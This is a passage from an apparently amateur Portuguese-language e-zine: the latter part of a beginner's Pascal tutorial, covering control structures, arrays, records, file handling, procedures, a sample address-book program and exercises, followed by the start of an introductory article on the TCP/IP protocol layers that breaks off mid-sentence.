|--------------|-----------------------------|------------------------------| | Comp | Num. Real | -9.2E18 a 9.2E18 | 8 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Double | Num. Real | 5.0E-324 a 1.7E308 | 8 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Extended | Num. Real | 3.4E-4932 a 1.1E4932 | 10 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Integer | Num. Inteiro | -32768 a 32767 | 2 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Longint | Num. Inteiro | -2147483648 a 2147483647 | 4 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Real | Num. Real | 2.9E-39 a 1.7E38 | 6 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Shortint | Num. Inteiro | -128 a 127 | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Single | Num. Real | 1.5E-45 a 3.4E38 | 4 bytes | | ----------- |--------------|-----------------------------|------------------------------| | String | Caracter | Cadeia de Caracteres | Varia de 2 a 256 | | ----------- |--------------|-----------------------------|------------------------------| | Word | Num. Inteiro | 0 a 65535 | 2 bytes | ----------------------------------------------------------------------------------------- 3.7.1 - Declarando Variáveis ~~~~~~~~~~ ~~~~~~~~~ Bem, existem variáveis globais e locais. Mas não vamos entrar nisso por enquanto. A declaração de uma variável em Pascal segue a seguinte sintaxe: Var : tipo da variável; : tipo da variável; : tipo da variável; por exemplo: Var d4rwin : string[15]; num1,num2 : integer; contador : word Resposta : char; {Repare no string[15]. O número entre parênteses indica que a variável terá no máximo 15 caracteres. Quando não se coloca o valor entre parênteses, o programa considera a variável com o limita máximo de 256 caracteres.} 3.8 - Corpo do Programa ~~~~~ ~~ ~~~~~~~~ Vimos até agora, Constantes,Tipo e Variáveis. Esses três campos servem para dizermos ao compilador quais recursos iremos utilizar, para que assim ele reserve um espaço na memoria para tais recursos. Depois de declarados o que iremos utilizar no programa, vamos ao bloco principal ou corpo do programa. O bloco principal começa no momento em que digitamos BEGIN, e acaba quando digitamos END. Veja um exemplo: Begin comandos; comandos; comandos; comandos; End. 3.9 - O uso do ;(ponto-e-vírgula) ~ ~~~ ~~ ~~~~~~~~~~~~~~~~~~ É importante ressaltar o uso do ";". O ";" é muito importante, pois é ele quem indica que a linha terminou. Se nos esquercermos de por o ";" o programa na compilará, por isso sempre preste muita atenção. 4.0 - Sinais ~~~~~~ Assim como na matemática nós utilizamo-nos de sinais para efutuar cálculos e operações, em Pascal não podería ser diferente. Abaixo, segue os sinais e para que servem: + -> Soma - -> Subtração / -> Divisão entre números reais * -> Multiplicação Div -> Divisão entre números inteiros Mod -> Retorna o resto de uma divisão entre inteiros 5.0 - Comando Básicos ~~~~~~~ ~~~~~~~ Agora a coisa está començando a ficar legal...=). Vamos aprender agora alguns comandos básicos, que nos auxiliarão na criação do programa, e também deixá-lo com uma cara mais bonita. São eles: Write -> O comando write é utilizado para imprimir alguam coisa na tela. Sua sintaxe é: write ('Hello World'); {Observe a aspa simples, tudo o que estiver dentro de aspas simples, é considerados texto pelo compilador } WriteLN -> Faz a mesma coisa que o write, mas depois de impresso o texto ele posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua sintaxe é igual a do Write. Read -> O comando read serve para lermos dados vindos do teclado. Por exemplo, eu faço uma pergunta, então utilizo o read para ler a resposta e armazenar esta resposta numa variavel(declarada na área Var, antes do bloco principal). Sua sintaxe é: read(variável); {Sendo variável aonde vai ser armazenado o valor lido} ReadLN -> A exemplo do writeln, o readln lê os dados e após a leitura, posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua sintaxe é igual a do read. ClrScr -> Este comando limpa a tela e posiciana o cursor na primeira linha,primeira coluna. Sua sintaxe é: ClrScr; Delay -> O comando delay serve para pausar a execução do programa por um tempo determinado. O tempo é determinado em milisegundos, portanto 1000 milisegundos equivalem a 1 segundo. Sua sintaxe é: Delay(milisegundos); Trunc -> Este comando pega a parte inteira de um cálculo ou número real. Sua sintaxe é: Trunc(num_real); por exemplo Trunc(9.5 / 2.2); {Pega a parte inteira do resultado da divisão de 9.5 com 2.2} GotoXY -> Em pascal, a tela é divida em 80 colunas e 25 linhas. Com o comando GotoXY, você pode ir para qualquer lugar que esteja entre essas 80 colunas e 25 linhas. Sua sintaxe é: Gotoxy (coluna,linha); UpCase -> Este comando pega caracteres em letras minúsculas e os converte para caixa alta. Sua sintaxe é: var_do_tipo_string := UpCase(var_do_tipo_string); ReadKey -> Este comando pausa o programa até que alguma tecla seja pressionada. Sua sintaxe é: Readkey; ou var_do_tipo_char := readkey; textbackground -> Este comando defini a cor de fundo. Sua sintaxe é: textbackground(numero_da_cor); ou textbackground(nome_da_cor); textcolor -> Este comando defini a cor da letra. Sua sintaxe é: textcolor(numero_da_cor); ou textcolor(nome_da_cor); Cores Disponíveis: ·BLUE ·GREEN ·CYAN ·RED ·MAGENTA ·BROWN ·LIGHTGRAY ·DARKGRAY ·LIGHTBLUE ·LIGHTGREEN ·LIGHTCYAN ·LIGHRED ·LIGHMAGENTA ·YELLOW ·WHITE ·BLACK {Nós podemos também somar duas cores, por exemplo : "textcolor (RED + BLUE);". Adicionando a string "Blink" a cor, temos um efeito piscante, por exemplo: "textcolor (RED + Blink);" .} 6.0 - Estruturas ~~~~~~~~~~ Aqui vamos estudar duas estruturas: As estruturas condicionais e as de atribuição. 6.1 Estruturas de Atribuição ~~~~~~~~~~ ~~ ~~~~~~~~~~ Bom, como o próprio nome já diz, estruturas de atribuição são utilizadas para atribuir valores a variáveis. Por exemplo, eu tenho uma variável A, uma variável B e uma variável chamada Resultado. Eu quero que os valores da soma de A + B sejam atribuídos a variável Resultado. Isso ficaria da seguinte forma: Resultado := A + B; {Note o ":=". Diferente de outras linguagens, o sinal de atribuição em Pascal é dois ponto e um igual. Toda vez que utilizarmos este sinal, o valor da esquerda recebe o valor da direita.} 6.2 Estruturas Condicionais ~~~~~~~~~~ ~~~~~~~~~~~~ As estruturas condicionais são utilizadas quando nos deparamos com determinadas situações em que temos que tomar decisões. Por exemplo. Estou andando na rua, mas pode chover, então se chover, eu devo pegar um guarda-chuva, senão, devo continuar andando. O mesmo acontece com programação, por exemplo, estou fazendo um programa que lê duas notas bimestrais, calcula a média e diz se o aluno foi aprovado ou reprovado. Consideremos a média como 70. Portanto, SE a média for menor que 70, imprimir reprovado, SENÃO imprimir aprovado. Veja um exemplo pra entender melhor: media := A + B / 2; {O sinal "/", indica divisao de numeros reais} if media < 70 then writeln ('Reprovado!') else writeln ('Aprovado'); OBS.: IF = Se | THEN = Então | Else = Senão {No exemplo acima, calculmos a média do aluno, e de acordo com a média, maior ou menor que 70, damos o resultado.} Sintaxes para IF: IF condição THEN IF condiçao THEN IF condição THEN IF condição THEN comandos Begin Begin comando; ELSE comandos; comandos; comandos; comandos; comandos; ... ... comandos; comandos; End; End IF condição THEN ELSE Begin Begin comandos; comandos comandos; End; End; OBS2.: Quando temos um ou mais IFs dentro de um estrutura condicional(outro IF), denominamos tal estrutura de IF Aninhando/Se Aninhando. Existe também outra estrutura condicional, a estrutura CASE. Abaixo segue sua sintaxe: CASE escolha of begin 1..100 : begin writeln ('Você digitou um número.'); end; 'A'..'Z' : begin writeln ('Você digitou uma letra maiúscula'); end; 'a'..'z' : begin writeln ('Você digitou uma letra minúscula'); end; else ; {Quando utilizarmos apenas uma writeln, um readln, ou qualquer outro comando, não há a necessidade de se usar o begin e end; (eu usei de tongo mesmo, hehehe).} 7.0 - Laços ~~~~~ Laços de repetição são utilizados quando queremos que determina situação se repita até que algo aconteça, fazendo com que a situação pare de ser executada. Por exemplo, estou fazendo um programa que cadastra clientes. Para que o usuário não tenha de abrir mais um vez o programa toda vez que quiser cadastrar um novo cliente, criamos um laço de repetição. O laço ficaria se repetindo até o momento em que o usuário não desejasse mais cadastrar usuários. 7.1 - Laço FOR ~~~~ ~~~ O laço FOR permite que determinemos a quantidade de vezes que tal bloco do programa será executado. Sua sintaxe é: OBS.: FOR = De | TO = a | DO = Faça FOR contador := 1 to do begin comandos; comandos; comandos; end; por exemplo: FOR contador := 1 to 5 do begin writeln ('MotdLabs'); writeln (' by d4rwin'); end; {Este laço acima repetiria(imprimiria) 5 vezes na tela as frases MotdLabs e by d4rwin.} O laço FOR também nos permite determinar o número de vezes de forma descrescente. Por exemplo: FOR contador := 5 downto 3 do begin comandos; comandos; comandos; end; {O laço acima executaria 2 vezes, contando regressivamente de 5 até chegar em 3, o que está entre begin e end;} 7.2 - WHILE Aqui está mais uma estrutura ou laço de repetição. Utilizamos o WHILE quando queremos que determinado bloco do programa se repetia até que algo aconteça. Sua sintexe é: OBS.: WHILE = Enquanto | DO = Faça WHILE condição DO Begin comandos; comandos; comandos; ... End; por exemplo: WHILE num > 10 DO Begin writeln ('Eu estou aprendendo Pascal'); writeln ; writeln ; writeln ('d4rwin eh l33t0, =)'); num := 8; End; {No exemplo acima temos a seguinte condiçao, num > 10. Enquanto essa condição for verdadeira(maior que 10), o programa executará aquilo que estiver dentro do bloco de repetiçao. Quando o programa encontra num := 8, ele sai do laço, pois a condição se tornou falsa.} 7.3 - Repeat ~~~~~~ Podemos dizer que o Repeat é o contrário do WHILE. Ele executa o que está no bloco de repetição até que a condição seja verdadeira. Enquanto a condição for falsa, ele executa o bloco de repetição. Sua sintaxe é: Repeat comandos; comandos; comandos; ... comandos; Until (condição_for_verdadeira); por exemplo Repeat write ('Digite um num: '); readln (num); write ('Digite outro num: '); readln (num2); result := num + num2; writeln ('Resultador: ',result); Until (result < 0); {No exemplo acima, o programa fica somando,somando...somando, até que o resultado seja negativo/menor que 0. Repare que o Repeat dispensa o uso do Begin e End;} 8.0 - Vetores ~~~~~~~ A partir do momento em que precisamos declarar um número muito grande de variáveis, faz-se necessário o uso de vetores, denominado em Pascal como "array", para que não tenhamos o desconforto de declarar todas as variáveis. Por exemplo, estou fazendo um programa que cadastre os 300 clientes de um empresa. Imagina o trabalho que daria declarar 300 variáveis do mesmo tipo, e pior, o desconforto que seria criar a estrutura para ler essas 300 variáveis. Por isso nós utilizamos arrays. Sua sintaxe é: Var : array [1..n] of integer; por exemplo Var clientes : array [1..300] of string[15]; {A estrutra acima é a forma como declaramos arrays em Pascal.} Para acessar essas variáveis no programa, utilizamos o nome do array mais seu indice. Por exemplo: clientes[1], clientes[2], clientes[3] ... cliente[n]; Mesmo utilizando-se de arrays, o processo de ler os 300 clientes seria penoso. Por isso, utilizando-se de um laço FOR, podemos ler todos os clientes, com apenas algumas linhas. Segue o exemplo: FOR contador := 1 to 300 do begin readln (clientes[contador]); end; {No Laço acima, o programa lê do cliente 1 ao 300. Note que entre parenteses encontra-se "contador". Portanto, o programa ficará lendo os nomes dos clientes, até chegar em 300.} Para imprimir o nome de um cliente, faríamos assim: writeln ('Cliente: ',cliente[76]); E se quisessemos imprimir o nome de todos os clientes, utilizaríamos mas uma vez o laço FOR: FOR contador := 1 to 300 do begin writeln ('Cliente Numero: ',contador); writeln ('Nome: ',clientes[contador]); writeln ; end; 9.0 - Matrizes ~~~~~~~~ As matrizes se assemelham aos vetores, mas possibilitam armazenar um número maior de variáveis. Abaixo segue um desenho de como seriam mais ou menos uma matriz: 1 2 3 4 5 ------------------------ 1 | 1,1| 1,2| 1,3| 1,4| 1,5| |----|----|----|----|----| 2 | 2,1| 2,2| 2,3| 2,4| 2,5| ------------------------ {Em cada "cazinha" é armazenada uma variável} Como você pode observer no desenho acima, temos 5 colunas e 2 linhas. Quando estamos mechendo com matrizes, sempre nos referimos primeiro a linha, depois a coluna. Abaixo segue um exemplo de declaração de matrizes: : array [1..10,1..10] of integer; por exemplo: numero : array [1..10,1..10] of integer; {No exemplo acima, declaramos uma matriz que possui 10 linhas e 10 colunas. Quando queremos acessar alguma variável armazenada numa matriz, utilizamos um índice com as coordenadas.} Por exemplo: writeln ('Numero: ',numero[2,6]); {No exemplo acima, será impresso na tela o número que está na linha 2, coluna 6.} Para ler(read) um ou imprimir uma matriz, utilizamos os seguitens laços FOR: for linha := 1 to 10 do begin for coluna := 1 to 10 do begin write ('Digite um numero: '); readln (numero[linha,coluna]); end; end; {Vamos analisar o laço acima, o programa pede para o usuário digitar um número. Este número é armazenado na linha 1,coluna 1. Depois o laça se repetirá, então o próximo número a ser lido será armazenado na linha 1, coluna 2, e assim por diante. Quando a coluna chega a 10, o laço passa para a linha 2, e tudo se repete, =)} 10.0 - Registros ~~~~~~~~~ Registros são utilizados para armazenas várias variáveis de tipos diferentes. Por exemplo, estou criando um programa para o CENSO. Eu preciso do nome da pessoa, sua idade, telefone e endereço. Nome,idade,telefone e endereço são variáveis de tipos diferentes. Por isso, veja como ficaria este exemplo utilizando registros: Type registro = record nome :string[15]; idade :integer; telefone :integer; endereço :string; end; {Analisando a estrutura acima, vemos que registro é igual a record. Portanto, toda vez que quisermos nos referir a um registro que tenha nome,idade,telefone e endereço, utilizaremos : "var : registro". Isto declararia do tipo registro, isto significa que na variável poderíamos gravar nome,idade,telefone e endereço.} Como se referenciar a um registro? Para nos referenciar a um registro, utilizamos a seguinte sintaxe: .variavel; por exemplo: registro.nome; registro.idade; registro.telefone; registro.endereço; Um exemplo de leitura com o registro seria: write ('Digite um nome: '); readln (registro.nome ); write ('Digite sua idade: '); readln (registro.idade); write ('Digite seu tel: '); readln (registro.telefone); write ('Digite seu endereço: '); readln (registro.endereço); 11.0 - Tratamento de Arquivos ~~~~~~~~~~ ~~ ~~~~~~~~ Em pascal, nós podemos mecher, mesmo que inderetamente, com arquivos binários e .txt. Para começarmos a trabalhar com tratamento de arquivos, é necessário declarar a variável-arquivo. Abaixo segue a sintaxe da declaração de arquivos binários: Type ArqInt = File of Integer; Var Numeros : ArqInt; ou Var Numeros : File of Integer; Declaração de arquivos texto: Type ArqTexto = Text; Var Texto : ArqTexto; ou Var Texto : Text {Note que só utilizamos "File of" para arquivos binários} Abaixo segue os comandos e suas sintaxes. No final eu darei um programa-exemplo, utilizando tais comandos. ASSIGN -> Este comando serve para informar ao programa, onde localiza-se o arquivo (binário ou texto), no HD. Sempre que formos trabalhar com tratamento de arquivos em Pascal, devemos utilizar este comando. Sua sintaxe é: Assign(Variavel,'C:\MotdLabs\Texto.txt'); Assing(Variavel,'C:\MotdLabs\Numeros.bin'); RESET -> Abre o arquivo para somente leitura. Sintaxe: Reset(nome_do_arquivo); APPEND -> Abre o arquivo para inserção de mais coisas. Somente para arquivos texto. Sintaxe: Append(nome_do_arquivo); REWRITE -> Este programa verifica a existência do arquivo. Se o arquivo existir, ele apaga tudo o que tem dentro do arquivo. Se o arquivo não existir, ele cria o arquivo no local especificado pelo Assign. Sintaxe: ReWrite(nome_do_arquivo); CLOSE -> Fecha o arquivo. Sintaxe: Close(nome_do_arquivo); READ -> Recebe o valor lido. Sintaxe: Read(nome_do_arquivo,variável); WRITE -> Escreve no arquivo. Sintaxe: Write(nome_do_arquivo,valor_a_ser_escrito); Exemplo de um Programa utilizando tratamento de arquivos: OBS.: Execute o programa, e depois verifique o arquivo C:\Arquivo.txt --------------------------------Corte Aqui-------------------------------------- { Nome do Programa ......................: Tratamento de Arquivos Função ...............................: Programa exemplo usando tratamento de arquivos Plataforma ...........................: Windows / 32 bits Linguagem ............................: Pascal Data de criação ......................: 07/12/2003 Data de última alteração .............: 07/12/2003 Autor ................................: d4rwin } Program exemplo_01; Uses CRT,DOS; Const Arq_real = 'C:\Arquivo.txt'; Type ArqTexto = Text; Var List : ArqTexto; nome : string[15]; Begin clrscr; textbackground (blue); textcolor (white); clrscr; gotoxy (14,2); writeln ('Programa Exemplo 01'); gotoxy (14,3); writeln ('-------- ------- --'); writeln ; writeln ; delay (500); Assign (List,Arq_real); {$i-} Reset(List); {$i+} if IOResult <> 0 then rewrite (List); write ('Digite seu nome: '); readln (nome); write (List,nome); Close(List); writeln ; writeln ; writeln ('--------------------------EoF--------------------------'); writeln; writeln; readkey; End. --------------------------------Corte Aqui-------------------------------------- 12.0 - Procedimentos e Funções ~~~~~~~~~~~~~ ~ ~~~~~~~ Agora veremos rapidamente o que são procedimentos e funções, e como utilizá-los no programa. Procedimentos ^^^^^^^^^^^^^ Procedimentos são identificados em Pascal como "procedures". Procedures são programas, iguais ao bloco principal, mas que não faz parte do mesmo. Não entendeu? Deixa eu explicar melhor, nos procedimentos nós podemos declarar variáveis, imprimir, ler, tudo aquilo que fazemos no bloco principal. A diferença está que estes são seperados. O procedimentos são declarados entre o Var e o Begin do bloco principal. Vamos ver um exemplo de procedimentos: Program procedimentos; Uses CRT; Var num1,num2 : integer; nome : string[10]; Procedure ; Var var1,var2 : integer var3,var4 : word; aux : byte; begin clrscr; writeln ('Pascal is rlz!'); writeln ('=)'); end; Begin {Aqui começa o bloco principal} comandos; comandos; comandos; ... comandos; End. {Com este exemplo já da pra ter um idéia de como funcionam os procedimentos} Acho que chegou a hora de falar de variáveis globais e locais, fundamental para o entendimento de procedimentos. Como vc pode reparar no exemplo acima, foram declaradas variáveis dentro do procedimento e variáveis fora dele, como fazíamos antes. Aí é que está, todas as variáveis declaradas no escopo VAR, são globais, portanto, podemos utilizá-las em qualquer lugar do programa, inclusive dentro do procedimento. Se uma variável global recebe um valor dentro do procedimento, ela ficará com o valor recebido na procedure. Já as variáveis locais, são aqueles declaradas dentro da procedure. Estas variáveis serão utilizadas apenas pelo procedimento. Portanto, podemos sim ter duas variáveis com o mesmo nome em um programa, desde que uma seja global e outra local. Mas daí você me pergunta: "E se eu tiver uma variável global com o mesmo nome de uma variável local, dentro do procedimento, qual vai ser utilizada?". A resposta é que sempre as variáveis locais vão ter preferência sobre as globais. Mais uma coisa a se dizer com relação a procedimentos é que dentro de um procedimento, vc pode chamar outro. Mas isso só é possível se o procedimento chamado estiver em cima do procedimento que chamou. Mas pq isso? Isso deve-se ao fato de o Pascal ser linear, isto é, o compilador vai lendo linha por linha, até chegar no End. Se vc chamar um procedimento dentro de outro, e o procedimento chamado estiver em baixo dele, quando o compilador passar pelo procedimento, não vai reconhecer o comando, pois o procedimento que foi chamado está abaixo e ainda não foi compilado, portanto é desconhecido pelo compilador. Para chamar um procedimento utilizamos a seguinte sintaxe: ; Funções ^^^^^^^ Funções são a mesma coisa que os procedimentos, a única diferença entre os dois é que as funções retornam um valor. Geralmente, mais por uma questão de organização, a funções são declaradas abaixo dos procedimentos. Um exemplo de declaração de função: Function (var1,var1 :tipo) :tipo; Begin | comandos; Tipo é o tipo de variável que a comandos; função irá retornar. comandos; ... comandos; End; {Analisando a função acima, podemos concluir o seguinte: utilizaremos na função o var1 e var2, que são do mesmo tipo. Também podemos ver que a função retornará um valor do tipo a ser definido.} Passagem de Parâmetros Os procedimentos também suportam passagem de parâmetros, mas eu aproveitei o tópico funçoes para exeplicar isso. Para exemplificar a passagem de parâmetros, abaixo segue um código: --------------------------------Corte Aqui-------------------------------------- { Nome do Programa ....................... Função Função ................................. Exemplo de passagem de parâmetros Plataforma ............................. Windows / 32 bits Linguagem .............................. Pascal Data de criação ........................ 08/12/2003 Data de ultima alteração ............... 08/12/2003 Autor .................................. d4rwin } Program funcoes; Uses CRT; Var num1,num2,result,contador : integer; Function funcao (A,B :integer) : integer; begin Result := A + B; end; Begin clrscr; writeln ('Programa Exemplo de Funções'); writeln ; writeln; textcolor (white); write ('Digite um num: '); readln (num1); write ('Digite outro num: '); readln (num2); {Agora nós vamos passar os parâmetros - valores de num1 e num2 - a função} funcao(num1,num2); {Aqui os parâmetros são passados nesta ordem. Na função, A receberá num1 e B num2} writeln ; textcolor (red + blink); delay (400); writeln ('Resultado: ',result); writeln ; textcolor (cyan); writeln (' -----------------------------EoF---------------------------'); readkey; End. --------------------------------Corte Aqui-------------------------------------- 13.0 - Agenda Eletrônica em Pascal ~~~~~~ ~~~~~~~~~~ ~~ ~~~~~~ Bom, já que está acabando o txt, eu coloquei um agenda eletrônica feita em pascal por mim. Ele permite adicionar, ver e pesquisar amigos. Estou colocando ela aqui, pois acho que ela seria uma boa alternativa para estudo. Talvez você não entenda isso ou aquilo, mas é importante que você estude o código, e principalmente pratique, pratique... pratique. --------------------------------Corte Aqui-------------------------------------- { Nome do Programa ....................... Agenda Função ................................. Agenda Eletronica Plataforma ............................. Windows Linguagem .............................. Pascal Data de criação ........................ 06/12/2003 Data de ultima alteração ............... 08/12/2003 Autor .................................. d4rwin } Program Agenda_Eletronica; Uses CRT,DOS; Const Arq_real = 'C:\Agenda.txt'; Type Amigo = record codigo : integer; nome : string[15]; idade : integer; telefone : string[12]; end; Var agenda : file of amigo; contador : integer; opcao : char; Procedure Menu; begin clrscr; writeln ; gotoxy (14,3); writeln ('#################################'); gotoxy (14,4); writeln ('## Agenda Eletronica ##'); gotoxy (14,5); writeln ('#################################'); gotoxy (14,6); writeln ('## ##'); gotoxy (14,7); writeln ('## Incluir Amigo (I) ##'); gotoxy (14,8); writeln ('## Listar Amigos (L) ##'); gotoxy (14,9); writeln ('## Pesquisar Amigo (P) ##'); gotoxy (14,10); writeln ('## Sair (S) ##'); gotoxy (14,11); writeln ('## ##'); gotoxy (14,12); writeln ('#################################'); gotoxy (14,13); writeln ; gotoxy (14,14); write ('Opcao: '); gotoxy (21,14); readln (opcao); opcao := upcase(opcao); end; Procedure Incluir_amigos; var X : amigo; resposta : char; Total_amigos : integer; begin {$i-} reset (agenda); {$i+} Total_amigos := 0; if IOResult <> 0 then rewrite (agenda); while Not EoF(Agenda) do begin read (Agenda,X); Total_amigos := Total_amigos + 1; end; repeat clrscr; Total_amigos := Total_amigos + 1; gotoxy (14,3); write ('Inclusao de Amigo'); gotoxy (14,4); writeln('^^^^^^^^ ^^ ^^^^^'); gotoxy (14,5); writeln ; writeln ; with X do begin gotoxy (14,7); writeln ('Codigo: ',Total_amigos); gotoxy (14,8); codigo := Total_amigos; write ('Nome: '); readln (nome); gotoxy (14,9); write ('Idade: '); readln (idade); gotoxy (14,10); write ('Telefone: '); readln (telefone); gotoxy (14,11); end; write (Agenda,X); writeln ; gotoxy (14,13); write ('Inserir outro(S/N): '); readln (resposta); resposta := upcase(resposta); until (resposta = 'N'); close (Agenda); end; Procedure Listar_amigos; var X : amigo; begin clrscr; reset(agenda); gotoxy (14,3); writeln ('Listagem de Amigo(s)'); gotoxy (14,4); writeln ('^^^^^^^^ ^^ ^^^^^^^^'); gotoxy (14,5); while Not EoF(Agenda) do begin read (agenda,X); with X do begin writeln ; writeln (' Codigo ..........: ',codigo); writeln (' Nome ............: ',nome) ; writeln (' Idade ...........: ',idade) ; writeln (' Telefone.........: ',telefone); writeln ; end; end; readln; end; Procedure Pesquisar_amigo; var X : amigo; nome_amigo : string[15]; begin reset(agenda); clrscr; gotoxy (14,3); writeln ('Pesquisa de Amigo'); gotoxy (14,4); writeln ('^^^^^^^^ ^^ ^^^^^'); gotoxy (14,6); write ('Nome do Amigo: '); readln (nome_amigo); writeln ; while Not EoF(Agenda) do begin read (Agenda,X); with X do begin if nome = nome_amigo then begin gotoxy (14,8); writeln ('Codigo ..........: ',codigo) ; gotoxy (14,9); writeln ('Nome ............: ',nome) ; gotoxy (14,10); writeln ('Idade ...........: ',idade) ; gotoxy (14,11); writeln ('Telefone ........: ',telefone); gotoxy (14,12); writeln ; readkey; end; end; end; end; Begin clrscr; textbackground (blue); textcolor (white); clrscr; gotoxy (14,3); writeln ('====================================='); gotoxy (14,4); writeln ('= ='); gotoxy (14,5); writeln ('= Agenda Eletronica ='); gotoxy (14,6); writeln ('= ='); gotoxy (14,7); writeln ('= $$$$ #### $$$$ ='); gotoxy (14,8); writeln ('= $$$$ #### $$$$ por d4rwin ='); gotoxy (14,9); writeln ('= ='); gotoxy (14,10); writeln ('====================================='); gotoxy (14,11); writeln ; writeln ; gotoxy (14,12); writeln ('Carregando agenda...'); for contador := 1 to 100 do begin gotoxy (14,13); writeln (contador,'% concluido'); delay (100); end; Assign (agenda,Arq_real); repeat Menu; if opcao = 'I' then Incluir_amigos; if opcao = 'L' then Listar_amigos; if opcao = 'P' then Pesquisar_amigo; until (opcao = 'S'); End. --------------------------------Corte Aqui-------------------------------------- 14.0 - Exercícios ~~~~~~~~~~ Exercício 01 ^^^^^^^^^ ^^ Escreva um algoritmo/programa para ler 2 valores (se o segundo valor informado for ZERO, deve ser lido um novo valor até que seja diferente de zero) e imprimir o resultado da divisão do primeiro pelo segundo. Utilizar a estrutura REPEAT-UNTIL (Repita - Até). Exercício 02 ^^^^^^^^^ ^^ Reescreva o exercício anterior utilizando a estrutura WHILE...DO (Enquanto...Faça). Exercício 03 ^^^^^^^^^ ^^ Escreva um algoritmo/programa para ler as notas da 1ª e 2ª avaliações de um aluno, calcule e imprima a média(simples). Só devem ser aceitos valores válidos durante a leitura entre 0 e 10 para cada nota. Acrescente uma mensagem 'NOVO CÁLCULO (S/N)?' ao final do exercício. Se for respondido 'S' deve retornar e executar um novo cálculo, caso contrário deverá encerrar o algoritmo/programa. Exercício 04 ^^^^^^^^^ ^^ Escreva um algoritmo/programa que solicite ao usuário N números. Faça a soma destes N números e imprima na tela. Utilize a estrutura FOR...TO...DO (De...Até...Faça). Exercício 05 ^^^^^^^^^ ^^ Ler 10 valores e escrever quantos destes valores são NEGATIVOS. 15.0 - Agradecimentos ~~~~~~~~~~~~~~ Agradeço primeiramente a Deus, por ter criado o mundo, a meu pai, minha mãe, o troxa do meu irmão e minha vizinha gata. Agradeço tbm a todos os caras do MotdLabs que tem me dado a maior força. Espero que com este txt eu tenha alcançado meu objetivo, que é ajudar a dar um ponta-pé inicial no aprendizado de programação para newbies. Sei que o texto não está lá aquelas coisas, mas acredito que a partir dele, você já vai saber pelo que e onde procurar(vide seção LINKS). Bom, me despeço aqui, um abraçao a todos e até a próxima... [d4rwin] 16.0 - Links ~~~~~ http://www.freepascal.org http://www.freepascal.eti.br http://www.pascaler.hpg.com.br http://www.infoxbr.com.br http://www.geocities.com/SiliconValley/Bay/6512/index.htm http://www.pascalhome.cjb.net/ http://www.pascaltotal.hpg.ig.com.br/ http://www.delphix.com.br http://d4rwin.cjb.net -=-d4rwin@bol.org-=- -----------------------------------EoF------------------------------------------ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[12]-=[TCP/IP]-=|SkyNet45|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ****************** Introducao:::... * ****************** Como prometido estou dando continuidade a materia abordada no primeiro numero dazine, o topico mudou mas o assunto ainda eh o mesmo, se vc ainda lembra da materia passada sobre hardware de rede irah ajudar bastante pois para compreensao desse topico se faz util o material passado, como jah havia falado. Irei procurar abordar topicos bases da arquitetura tcp/ip, mostrando coisas realmente basicas sobre esta suite de protocolos. Obs1.: Se vc acha que vai apartir de agora dominar este assunto feche o arquivo pois o intuito do mesmo eh dar a introducao basica aos que se interessam por redes, e aqueles que estao atras de conhecimento verdadeiro e etico. **************** CONCEITO:::... * **************** Imagine duas pessoas no mesmo lugar tentando conversar, uma delas fala ingles, a outra fala portugues, sera que elas iriam se entender de forma clara? Com certeza nao. Seria o mesmo que voce ligar dois computadores com um fio e querer que eles troquem informacoes entre si e facam tudo bem bunitinho, isso seria impossivel, daih surgiu a ideia de `protocolo`, eu gosto de fazer essa comparacao "o protocolo eh como a voz", vc soh se comunica com alguem se vc falar a lingua dessa pessoa, o `protocolo` ou a voz facilita a comunicao entre duas pessoas ou as duas coisas se preferir assim, entao podemos concluir dai que sem `voz` nao se tem conversa. Os computadores tambem sao assim, eles precisam de protocolos de conversacao para se comunicarem, sem eles isso tambem seria impossivel! Para resolver esse problema foram desenvolvidas algumas `linguas` para fazerem os computadores conversarem entre si, entre essas `linguas` ou protocolos encontra-se o tcp/ip, que eh sem duvida a base da nossa amada internet, tudo nela eh baseado nele, o tcp/ip nao eh um protocolo soh conforme muitos pensam, mas eh uma gama ou um conjunto de protocolos juntos, tais como o: snmp, icmp, udp,ip e etc... estes formam uma arquitetura que sem duvida eh muito apreciada por existir. O tcp/ip com seus muitos protocolos tem um papel muito significativo numa rede, por exemplo podemos citar o ftp que eh um protocolo de transporte muito utilizado na atualizacao de sites na internet, por meio deste pode-mos fazer tranferencia de arquivos e trabalhar com manipulacao de arquivos na integra. ************************************* A ARQUITETURA INTERNET(TCP/IP):::...* ************************************* Os padroes do tcp/ip nao sao estabelecidos por nenhum orgao internacional de qualidade, as definicoes do protocolo sao feitas por documentos denominados RFC (request for comments), que sao elaborados pelo IAB (Internet Activies Board). Se pararmos para analisar estes documentos, que trazem todas as caracteristicas do tcp/ip veremos que ele eh um protocolo simples e que tem uma facilidade de implementacao muito grande, e ao mesmo tempo atendem as necessidades da maioria dos sistemas de redes. A arquitetura tcp/ip eh organizada em camadas assim como um bolo muito grande tambem tem suas camadas, chocolate, glace, doce de leite(aih q fome!!!), pois eh, na nossa arquitetura temos protocolos distintos para cada camada do tcp/ip, temos tambem protocolos para a comunicacao e comunicacao entre duas camadas separadas, observem o rabisco abaixo: -------------------------------------- | | | | | 1ºAplicacoes -->| ftp | smtp | telnet | snmp | |--------------------------------------| | | | | | 2ºTransporte -->| | TCP | UDP | | | |----------------------------| | | | | 3ºRede -------->| |ip, icmp, arp, rarp| | | |----------------------------| | | | | 4ºacesso ------>| |sub-rede de acesso | | -------------------------------------- Vamos ver as camadas de baixo pra cima, pra podermos entender mais facil e rapido: Camada por camada entao... ****************************** 4º Camada - Sub-rede (acesso)* ****************************** A arquitetura tcp/ip nao padroniza o tipo de redes que poderao ter acesso a redes tcp/ip, ao contrario permite que qualquer tipo de tecnologia possa ser empregada, bastando somente desenvolver 